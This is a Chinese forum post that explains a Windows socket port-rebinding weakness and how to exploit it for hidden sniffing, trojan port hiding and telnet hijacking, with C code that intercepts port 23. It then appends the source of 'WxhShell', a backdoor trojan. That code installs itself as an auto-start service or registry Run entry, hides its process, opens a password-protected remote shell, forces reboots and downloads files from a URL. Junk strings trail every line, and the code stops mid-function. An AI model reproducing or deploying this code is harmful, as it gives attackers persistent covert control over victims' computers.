社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16004阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $2>"2*,04  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o#QS: '|  
') K'Ea  
  saddr.sin_family = AF_INET; \qkb8H  
560`R>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bWg!/K55  
R*l3 zn>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1'!%$D  
sP@7%p>wt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (2(y9r*1  
#A 7|=E  
  这意味着什么?意味着可以进行如下的攻击: jL0=a.;  
eZ|_wB'r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lQqP4-E?  
c+ukVn`r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *:Uq ;)*  
^ pNA_s!S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z#GrwE,r   
j_0xE;g"]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yqKSaPRA  
ziXI$B4-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N gagzsJ=  
dYZB> OS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i}/Het+(  
}t0JI3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ddwokXx (  
Lt_A&  
  #include fbW<c`LH  
  #include UG=],\E2  
  #include @e2P3K gg  
  #include    jP\5bg-}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jE2EoQ i,  
  int main() J]5ZWo%  
  { >rY^Un{Z  
  WORD wVersionRequested; MogIQ  
  DWORD ret; l}~9xa}:D|  
  WSADATA wsaData; 42=/$V  
  BOOL val; SedVp cb+  
  SOCKADDR_IN saddr; +R',$YzD  
  SOCKADDR_IN scaddr; ^+O97<#6C  
  int err; B=HE i\55K  
  SOCKET s; A2''v3-h8  
  SOCKET sc; 59H~qE1Md  
  int caddsize; &F.L*M  
  HANDLE mt; oA+'9/UY  
  DWORD tid;   df{6!}/(  
  wVersionRequested = MAKEWORD( 2, 2 ); ;v5Jps2^]  
  err = WSAStartup( wVersionRequested, &wsaData ); vlo!D9zsV3  
  if ( err != 0 ) { Ga\kvMtr  
  printf("error!WSAStartup failed!\n"); '[p0+5*x  
  return -1; %&!B2z}  
  } ,VZ<r5NT  
  saddr.sin_family = AF_INET; J~}i}|YC>  
   ]\F}-I[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #c(BBTuX  
B:6VD /qC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0,wmEV!)  
  saddr.sin_port = htons(23); X nB-1{a1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %FJB9?9=|  
  { LJOJ2x  
  printf("error!socket failed!\n"); fv:&?gc  
  return -1; h]WW?.   
  } ,p V3O`z  
  val = TRUE; I^m9(L4%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I\f\k>;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y'_2|5!Qs  
  { {2LG$x-N%  
  printf("error!setsockopt failed!\n"); [bjP-pX  
  return -1; r85j /YK  
  } .xe+cK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %:8XZf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3K%_wCZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7)*QX,4C  
KMXd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <tv"I-2  
  { S"%W^)mZ  
  ret=GetLastError(); 3-gy)5.x e  
  printf("error!bind failed!\n"); r#w.y g4EX  
  return -1; 0}q*s!  
  } *l)}o4-$  
  listen(s,2); GriFb]ml"  
  while(1) %JuT'7VB  
  { W];l[D<S*  
  caddsize = sizeof(scaddr); o)M<^b3KO  
  //接受连接请求 Wb;D9Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =QhK|C!$A  
  if(sc!=INVALID_SOCKET) vAzSpiv-  
  { Z`>m   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @DK`#,  
  if(mt==NULL) `%$+rbo~  
  { sV`p3L8pl  
  printf("Thread Creat Failed!\n"); zd3^k<  
  break; ~N8$abQJV  
  } m{by%  
  } YXDuhrs}  
  CloseHandle(mt); ycrM8Mu 3  
  } l8+;)2p!  
  closesocket(s); ft?c&h;At  
  WSACleanup(); V"8w:?  
  return 0; #,;Q|)AD:e  
  }   iu QMVtv  
  DWORD WINAPI ClientThread(LPVOID lpParam) ORhvo,.u  
  { d?A!0 ;(*  
  SOCKET ss = (SOCKET)lpParam; (f   
  SOCKET sc; MLN+ BuS  
  unsigned char buf[4096]; vA*Q}]Ov  
  SOCKADDR_IN saddr; WNF#eM?[a  
  long num; s ?|Hw|j  
  DWORD val; KVPWJHGr  
  DWORD ret; 4E@_Fn_#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3zzl|+# 6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ag} P  
  saddr.sin_family = AF_INET; S&NWZ:E3[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `It3X.^}  
  saddr.sin_port = htons(23); WU~L#Ih.V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uYXkD#{  
  { yE|hA2G?0  
  printf("error!socket failed!\n"); EU.!/'<  
  return -1; ~c@@m\C"b  
  } qb +Gjgp  
  val = 100; g])iU9)8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #O!gjZ,  
  { jAfqC@e  
  ret = GetLastError(); 0HDL;XY6  
  return -1; B:(a?X-7  
  } z,(.` %h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =$uSa7t#  
  { F87c?Vh)K  
  ret = GetLastError(); 6!v$"u|[!'  
  return -1; vAfYONU  
  } eDsc_5I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0+Q; a  
  { URj2 evYW  
  printf("error!socket connect failed!\n"); abg` : E  
  closesocket(sc); sv2XD}}  
  closesocket(ss); Vj6 w7hz  
  return -1; l]S%k&  
  } ?fQ8Ff  
  while(1) ~r&+18Z;  
  { t<MO~_`!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U|+ c&TY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 64t:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !&R|P|7qN}  
  num = recv(ss,buf,4096,0); a=M/0N{!  
  if(num>0) )jm!^m  
  send(sc,buf,num,0); z~#d@c\  
  else if(num==0) 9]QHwa>_|2  
  break; C%AN4Mo  
  num = recv(sc,buf,4096,0); q:9CFAX0=  
  if(num>0) .yQ<  
  send(ss,buf,num,0); EKNmXt1 lE  
  else if(num==0) N[;R8S P  
  break; !YX_k<1E  
  } 9}' 92  
  closesocket(ss); :*eJ*(M  
  closesocket(sc); ]BfJ~+ N  
  return 0 ; b 4A1M  
  } SDko#  
s,H }km  
a!\^O).pA  
========================================================== (;(2n;i[M  
WMnxN34  
下边附上一个代码,,WXhSHELL )3)x/WM  
3 V$ \s8  
========================================================== ,e;_ Vb  
afd.v$63  
#include "stdafx.h" synueg  
qq>Qi(>  
#include <stdio.h> p']{WLDj2  
#include <string.h> vCn\_Nu;W&  
#include <windows.h> ~=?^v[T1  
#include <winsock2.h> dY`P  
#include <winsvc.h> t(xe*xS  
#include <urlmon.h> [@/s! i @  
ko6[Ej:TBo  
#pragma comment (lib, "Ws2_32.lib") {~ 1 ~V  
#pragma comment (lib, "urlmon.lib") 5W(`lgVs,  
&<t`EI];)4  
#define MAX_USER   100 // 最大客户端连接数 E6#")2C~  
#define BUF_SOCK   200 // sock buffer lfqsoIn;  
#define KEY_BUFF   255 // 输入 buffer /~pB_l  
p%IVWeZnx  
#define REBOOT     0   // 重启 9b)'vr*Hy7  
#define SHUTDOWN   1   // 关机 fk\hrVP  
 jRhRw;  
#define DEF_PORT   5000 // 监听端口 "89L^I  
ESnir6HoU  
#define REG_LEN     16   // 注册表键长度 >w#&fd  
#define SVC_LEN     80   // NT服务名长度 69N8COLB  
>Y;[+#H[  
// 从dll定义API ~z7Fz"o<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B !Z~jT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pa"[&{:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -gpHg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M\r=i>(cu  
i:7cdhz  
// wxhshell配置信息 Xw&vi\*m  
struct WSCFG { QsyM[;\j:  
  int ws_port;         // 监听端口 m.c2y6<=  
  char ws_passstr[REG_LEN]; // 口令 X)S4vqf}  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kc+TcC  
  char ws_regname[REG_LEN]; // 注册表键名 :a_MT  
  char ws_svcname[REG_LEN]; // 服务名 yD Avl+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6NGQU%Hd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @-.Tgpe@a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;R^=($X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yXBWu=w3`O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RSIhZYA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tD6ukK1x  
yH]w(z5Z  
}; 8r48+_y3u  
pf#~|n#t  
// default Wxhshell configuration s"(F({J  
struct WSCFG wscfg={DEF_PORT, D'Uv7Mis  
    "xuhuanlingzhe", |v:fP;zc  
    1, 4Q~++PKBe  
    "Wxhshell", a@m  64l)  
    "Wxhshell", :+%Yul  
            "WxhShell Service", XF?"G<2  
    "Wrsky Windows CmdShell Service", Y.E]U!i*  
    "Please Input Your Password: ",  4q\gFFV4  
  1, 7A{,)Y/w ^  
  "http://www.wrsky.com/wxhshell.exe", p)s *Cw  
  "Wxhshell.exe" DS0:^TLI  
    }; 9a]h;r8,9z  
O[z-K K<  
// 消息定义模块 3#Xv))w1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _cd=PZhI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wSG!.Ejc7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G<`6S5J>hr  
char *msg_ws_ext="\n\rExit."; |]]Rp  
char *msg_ws_end="\n\rQuit."; M)CQ|P  
char *msg_ws_boot="\n\rReboot..."; (*Q8!"D^6  
char *msg_ws_poff="\n\rShutdown..."; a 9Kws[  
char *msg_ws_down="\n\rSave to "; ~> S? m;  
OD).kP}s^  
char *msg_ws_err="\n\rErr!"; r(I&`kF<  
char *msg_ws_ok="\n\rOK!"; y(Tb=:  
QQQN}!xPj  
char ExeFile[MAX_PATH]; v[<;z(7Qk  
int nUser = 0; `9nk{ !X\  
HANDLE handles[MAX_USER]; AP0z~e  
int OsIsNt; X9o6} %Y  
\6vr)1~N>  
SERVICE_STATUS       serviceStatus; -8z@FLUK-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W.?EjEx  
pW-aX)\DR  
// 函数声明 BP8jReX^  
int Install(void); @%I-15Jz  
int Uninstall(void); j0A9;AP;;C  
int DownloadFile(char *sURL, SOCKET wsh); CMU\DO  
int Boot(int flag); j "e]Ui  
void HideProc(void); 2 xt$w%  
int GetOsVer(void); < [q{0,  
int Wxhshell(SOCKET wsl); sH :_sOV*  
void TalkWithClient(void *cs); fPab%>/T{  
int CmdShell(SOCKET sock); yX CJ?  
int StartFromService(void); hh<ryuZ  
int StartWxhshell(LPSTR lpCmdLine); "2hs=^&8  
0134mw%jk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &@z M<A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "/{H=X3was  
!%>(O@~"|  
// 数据结构和表定义 %!OA/7XbG  
SERVICE_TABLE_ENTRY DispatchTable[] = $q0i=l&$&  
{ P5`BrY,hZ  
{wscfg.ws_svcname, NTServiceMain}, K#[ z5  
{NULL, NULL} a+P^?N  
}; cR!Mn$m  
077 wk  
// 自我安装 Sw~L M&A  
int Install(void) k .W1bF9n6  
{ zS!+2/(  
  char svExeFile[MAX_PATH]; hGj`IAW  
  HKEY key; JO&+W^$uY}  
  strcpy(svExeFile,ExeFile); LmjGU[L,@  
sdXZsQw  
// 如果是win9x系统,修改注册表设为自启动 DB.)/(zWQ  
if(!OsIsNt) { ~~{+?v6B]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q82yh&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -H"^;37T"  
  RegCloseKey(key); _PGS"O?j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2\9OT>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,`ju(ac!  
  RegCloseKey(key); b*<Fi#x1=  
  return 0; 6}?5Oy_XF2  
    } a5uBQ?  
  } GUUd(xS {  
} }/}eZCaG  
else { "eR-(c1  
h:{^&d a  
// 如果是NT以上系统,安装为系统服务 KfV& 7yi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]DLs'W;)  
if (schSCManager!=0) & eWnS~hJ  
{ -E-e!  
  SC_HANDLE schService = CreateService c!J|vRA5  
  ( <& iLMb:%  
  schSCManager, {lNG:o  
  wscfg.ws_svcname, H<ZXe!q(nx  
  wscfg.ws_svcdisp, 2R~[B]2"r  
  SERVICE_ALL_ACCESS, y{J7^o(_~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y&1Yc)*O  
  SERVICE_AUTO_START, |]tsf /SA  
  SERVICE_ERROR_NORMAL,  @zSj&4  
  svExeFile, QA# 7T3|  
  NULL, SI:Iv:>  
  NULL, RKwuvVI  
  NULL, /|,:'W%U  
  NULL, Q6=>*}Cm6m  
  NULL |#x]/AXa0/  
  ); /[UuHU5*R  
  if (schService!=0) xZ>@wBQ  
  { 7WEoyd  
  CloseServiceHandle(schService); Jb]22]  
  CloseServiceHandle(schSCManager); [G7S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2GJp`2(%dA  
  strcat(svExeFile,wscfg.ws_svcname); )C%S`d<%,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L?r\J8Ch<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z]=9=S| .4  
  RegCloseKey(key); q.v_?X<_  
  return 0; )/uCdSDIc  
    } Cp^%;(@  
  } a\Dw*h?b~  
  CloseServiceHandle(schSCManager); ;N!W|G  
} <k 7q 9"\4  
} 7:X@lmBz=  
zmh5x{US1  
return 1; sH\ h{^  
} vL~j6'  
5c-'m? k  
// 自我卸载 8 qwOZ d  
int Uninstall(void) }BLT2]y0  
{ }7Y @u@R  
  HKEY key; x<h-F  
N t_7Z  
if(!OsIsNt) { W0KSLxM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xI^nA2g  
  RegDeleteValue(key,wscfg.ws_regname); meR5E?Fm  
  RegCloseKey(key); znu [i&\=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =\)qUs\z  
  RegDeleteValue(key,wscfg.ws_regname); j8{,u6w)-  
  RegCloseKey(key); HD9+4~8  
  return 0; Wup%.yT~Ds  
  } h/\/dp/tt  
} >y^zagC*  
} ,v>| Ub,  
else { mKhlYV n  
h!~u^Z.7<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); & *!) d"  
if (schSCManager!=0) 5=9gH  
{ vm`\0VGSW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E>w|i  
  if (schService!=0) eVujur$P  
  { t7b\#o  
  if(DeleteService(schService)!=0) { a OTrng  
  CloseServiceHandle(schService); $Qq5Fx9kU  
  CloseServiceHandle(schSCManager); \C;F5AO  
  return 0; -'Y@yIb  
  } /_CSRi&  
  CloseServiceHandle(schService); L+ d4&x  
  } Y<9Lqc.i  
  CloseServiceHandle(schSCManager); 4z^5|$?_ta  
} xgv&M:%D-  
} Gt5'-Hyo  
iJ 8I# j+N  
return 1; \[;Qqn0  
} ]^?V8*zL]  
b1frAA  
// 从指定url下载文件 ^+q4*X6VB  
int DownloadFile(char *sURL, SOCKET wsh) Z<n%~z^  
{ <%Afa#  
  HRESULT hr; y|[YEY U)  
char seps[]= "/"; Y#aHGZ$i  
char *token; WbDD9ZS  
char *file; EJZb3  
char myURL[MAX_PATH]; L$<(HQQ J8  
char myFILE[MAX_PATH]; Fg -4u&Ik  
|4A938'4j  
strcpy(myURL,sURL); ck\gazo~q  
  token=strtok(myURL,seps); Yeb-u+23  
  while(token!=NULL) 0@*EwI  
  { ;c~%:|  
    file=token; fN{JLp  
  token=strtok(NULL,seps); l/o 4bkV  
  } gCc::[}\Y  
FV W&)-I  
GetCurrentDirectory(MAX_PATH,myFILE); S#l6=zI7^R  
strcat(myFILE, "\\"); 0xe*\CAo  
strcat(myFILE, file); kmfxk/F}  
  send(wsh,myFILE,strlen(myFILE),0); > ;zQ.2*  
send(wsh,"...",3,0); (D rDWD4_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~q05xy8  
  if(hr==S_OK) /E0/)@pDq  
return 0; )#_:5^1  
else qLh[BR  
return 1; (L7@ez  
T|FF&|Pk  
} E]IPag8C  
gg%9EJpP  
// 系统电源模块 ]^ "BLbDZ@  
int Boot(int flag) ]@bu%_s"  
{ ;H:+w\?8f$  
  HANDLE hToken; VUE6M\&z>  
  TOKEN_PRIVILEGES tkp; &fu J%  
yM-3nwk  
  if(OsIsNt) { }m0hq+p^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C.}Vm};M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q( \2(x\  
    tkp.PrivilegeCount = 1; _ZU.;0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #+]-}v3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9#A&Qvyywg  
if(flag==REBOOT) { 8m poY.E4!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z>+Tzvfud  
  return 0; ra*(.<&  
} TScI_8c>  
else { C=|X]"*:u0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H[KTM'n  
  return 0; yJ!x`RD),w  
} tfb_K4h6,  
  } sLh %k  
  else { C].w)B  
if(flag==REBOOT) { n:d7 Tv1Z8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z3X:.%  
  return 0; a'm\6AW2)  
} v<wR`7xG  
else { mrvPzoF,]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T nG=X:+=  
  return 0; KeiPo KhZi  
} :VEy\ R>W  
} ]&l%L4Z  
C-6m[W8S  
return 1; y~AF|Dk=  
} 'E#;`}&Ah  
wX!>&Gc.  
// win9x进程隐藏模块 V0!.>sX9  
void HideProc(void) A(<"oAe|  
{ AJ`R2 $  
|?KdQeL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h-`*S&mZ  
  if ( hKernel != NULL ) WOaj_o  
  { CF?TW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jJfV_#'N'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +S3r]D3v/  
    FreeLibrary(hKernel); {F~:8 6z(g  
  } f<T"# G$5  
#MhieG5  
return; C)|{7W  
} iB=v >8l%  
<h"*"q|9  
// 获取操作系统版本 |Q _]+[  
int GetOsVer(void) HECZZnM  
{ V%c1+h<  
  OSVERSIONINFO winfo; uI*2}Q   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eGJ}';O,g  
  GetVersionEx(&winfo); %ut7T!Jp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q|`sYm'.  
  return 1; }1/`<m  
  else ,9:0T LLR  
  return 0; `p. O  
} k}o*=s>M  
IT~pp _6g  
// 客户端句柄模块 NgXV|) L  
int Wxhshell(SOCKET wsl)  b jq1",  
{ vid(^2+  
  SOCKET wsh; kj4t![o+  
  struct sockaddr_in client; EFYyr f@  
  DWORD myID; 2]f"(X4jp  
(.DX</f/4  
  while(nUser<MAX_USER) H!+T2<F9R  
{ qAF.i^  
  int nSize=sizeof(client); 9J!@,Zsh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5U3 b&0  
  if(wsh==INVALID_SOCKET) return 1; QNzx(IV@  
- #ta/*TT:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8eVQnp*  
if(handles[nUser]==0) HAi'0%"  
  closesocket(wsh); C"We>!  
else Ehv*E  
  nUser++; 'n)]"G|  
  } %O<  qw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [H!8m7i;  
zU7/P|Dw+  
  return 0; b2Jgg&?G  
} ?\l@k(w4[x  
@6roW\'$  
// 关闭 socket HP /@ _qk  
void CloseIt(SOCKET wsh) [7:(e/&  
{ '#fwNbD  
closesocket(wsh); 3~%wA(|A  
nUser--; ?l3PDorR  
ExitThread(0); ,X2CV INb}  
} y,`SLgBID  
re `B fN  
// 客户端请求句柄 aNW!Y':*  
void TalkWithClient(void *cs) P}El#y#&  
{ JlF$|y,gV,  
VZ:L K  
  SOCKET wsh=(SOCKET)cs; Ak\w)!?s  
  char pwd[SVC_LEN]; ]qLro<  
  char cmd[KEY_BUFF]; ua^gG3n0  
char chr[1]; . >{.!a  
int i,j; 7Qc 4Oz:t  
!M[a/7x,p  
  while (nUser < MAX_USER) { *UJ&9rQ  
T%\f$jh6  
if(wscfg.ws_passstr) { 4l6+8/Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @AgV7#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7:h8b/9  
  //ZeroMemory(pwd,KEY_BUFF); : Nf-}"  
      i=0; ?1f(@  
  while(i<SVC_LEN) { NG2@.hP:uU  
2 P=c1;  
  // 设置超时 "[*W=6m0  
  fd_set FdRead; z}" Xt=G?  
  struct timeval TimeOut; &mM[q 'V  
  FD_ZERO(&FdRead); -I'@4\<  
  FD_SET(wsh,&FdRead); oA _,jsD4  
  TimeOut.tv_sec=8; }h6 N.vz  
  TimeOut.tv_usec=0; {bSi3oI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B[]v[q<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?G#T6$E8  
lP!`lhc-^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dm"@59x  
  pwd=chr[0]; *W#_W]Tu  
  if(chr[0]==0xd || chr[0]==0xa) { nEZo F  
  pwd=0; RK*ZlD<  
  break; dh~+0FZ{A  
  } tWNz:V  
  i++; !]W}I  
    } wuv2bd )+  
p&:(D=pIu  
  // 如果是非法用户,关闭 socket RSNukg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Mpm#a0f  
} "uz}`G~O  
"0lC:Wu]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1w)#BYc=L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N* C"+2  
(>OCLmV$  
while(1) { n 2k&yL+a  
0V5 RZ`.  
  ZeroMemory(cmd,KEY_BUFF); y8$TU;  
)_bR"!Z  
      // 自动支持客户端 telnet标准   O~r.sJ}  
  j=0; +~6gP!  
  while(j<KEY_BUFF) { Wm5/>Cu,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H!D?;X  
  cmd[j]=chr[0]; vsjl8L  
  if(chr[0]==0xa || chr[0]==0xd) { RaS7IL:e  
  cmd[j]=0; | 'SqG}h  
  break; -N')LY  
  } l>i<J1  
  j++; QsaaA MGY  
    } *EZ'S+wR  
PF,|Wzx  
  // 下载文件 vKzq7E  
  if(strstr(cmd,"http://")) { .}}w@NO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FM c9oyU~  
  if(DownloadFile(cmd,wsh)) 50:$km\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;_yp@.,\T  
  else 24TQl<H{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m17H#!`  
  } p+O 2 :  
  else { 6wzTX8  
X]?qns7  
    switch(cmd[0]) { 6$}hb|j  
  y%X{[F  
  // 帮助 ?(cbZ#( o  
  case '?': { <bPn<QI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [jD.l;jF  
    break; pZu2[  
  } pq"3)+3:  
  // 安装 , qj  
  case 'i': { !+?,y/*5(  
    if(Install()) ,FvBZ.4c3=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : kVEB<G  
    else .c[v /SB]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MCOz-8@|Y  
    break; =R08B)yR  
    } Rw$>()}H8  
  // 卸载 $J>J@4  
  case 'r': { n\Z& sc  
    if(Uninstall()) ]%yph3C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FbMX?T"yH  
    else dF$Fd{\4^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Ik\^:-  
    break; /( /)nYAjk  
    } E6iUa'  
  // 显示 wxhshell 所在路径 Rh7unJ  
  case 'p': { MPINxS  
    char svExeFile[MAX_PATH]; \($EYhx  
    strcpy(svExeFile,"\n\r"); "y_A xOH  
      strcat(svExeFile,ExeFile); &;~x{q]3  
        send(wsh,svExeFile,strlen(svExeFile),0); o}XbFL n  
    break; `%lgT+~T  
    } \:cr2w'c  
  // 重启 #>m#i1Nu  
  case 'b': { w<?v78sT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hq.ys>_  
    if(Boot(REBOOT)) mK3U*)A   
